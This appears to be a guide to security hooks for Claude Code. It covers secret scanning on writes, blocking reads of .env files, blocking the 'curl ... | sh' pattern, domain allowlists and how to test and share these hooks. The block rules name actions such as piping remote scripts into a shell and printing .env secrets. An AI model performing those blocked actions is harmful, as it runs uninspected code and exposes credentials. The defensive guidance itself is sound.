Security Hooks

Hooks run at the tool layer, below the LLM. That means they:

• Cannot be overridden by prompt injection.
• Don't decay as the context window fills.
• Always leave an audit trail.

Prompt-level rules like "don't write secrets" work most of the time; a PreToolUse hook that scans for secret patterns works every time. Use both — prompts encourage the right behavior, hooks enforce it.

secrets-scan-on-write. Highest signal, lowest cost — one bash script that blocks the most common accidental-leak vector.

Runs in ~50ms on typical writes, uses well-tested pattern libraries (gitleaks or trufflehog under the hood), and closes the specific gap where Claude might helpfully include a real value in a file. Install this before any other security hook.

Occasionally, yes — especially for test fixture files with fake-looking API keys. Two mitigations:

• Use the underlying scanner's baseline file to allowlist known false positives.
• Configure the hook to warn (exit 1) instead of block (exit 2) for lower-confidence patterns.

False positives are cheap to override; false negatives are expensive to clean up. Lean toward strictness.

.gitignore prevents accidental git commits of .env files, but doesn't stop Claude from:

• Reading them and printing their contents into a chat
• Writing their values into other files that are gitignored

env-file-protect is a runtime block at the Claude Code tool layer — the read never happens. They defend against different threats and should both be present.

Basically never for interactive work. The pattern curl ... | sh exists to run scripts you haven't inspected — that's a bad practice for humans and worse for LLMs.

Rare exceptions (installing Homebrew, some cloud CLI setups) can be handled by adding a specific override to your hook's allowlist. But for regular Claude Code work, block-curl-shell has effectively zero legitimate false positives.

No. Hooks fire on tool-use events regardless of who invoked the tool. When a subagent tries to write a file, the same PreToolUse security hooks fire as if your main conversation had done it.

This is critical — team-shared subagents can't be a bypass path. If security is important, install the hook and it applies uniformly across all invocation paths.

Use the Hook Simulator tool to feed the hook a fake payload.

• For secrets-scan-on-write — craft a fake tool call payload with a plausible-looking key in the content field and verify the hook exits 2.
• For env-file-protect — simulate a Read on .env and confirm the block.

Testing hooks before shipping them is important — a broken security hook that silently allows through is worse than none.

Commit .claude/settings.json and .claude/hooks/ to git. Teammates get every security hook on their next pull, with zero install steps.

This is the whole point of project-scoped hooks — enforcement should be uniform across the team, not depend on each dev remembering to configure their environment.

Combine with a CLAUDE.md note explaining why the hooks exist so nobody removes them 'to speed things up'.

Hooks fire whenever Claude Code runs — interactive terminal, IDE integration, or programmatic use. For CI, the same hooks fire if you run Claude Code as part of your pipeline.

For git operations, though, the parallel is your existing git pre-commit hooks — which are a separate layer that should also run gitleaks/trufflehog. Belt and suspenders.

block-dangerous-domains needs care. Overly-narrow allowlists break normal work (Claude can't reach npm, GitHub, PyPI, etc.).

If you install it:

1. Start with a permissive allowlist including all package registries and dev-tool CDNs your team uses.
2. Monitor traffic for a week.
3. Tighten based on observed patterns.

Start restrictive and users complain; start permissive and monitor first.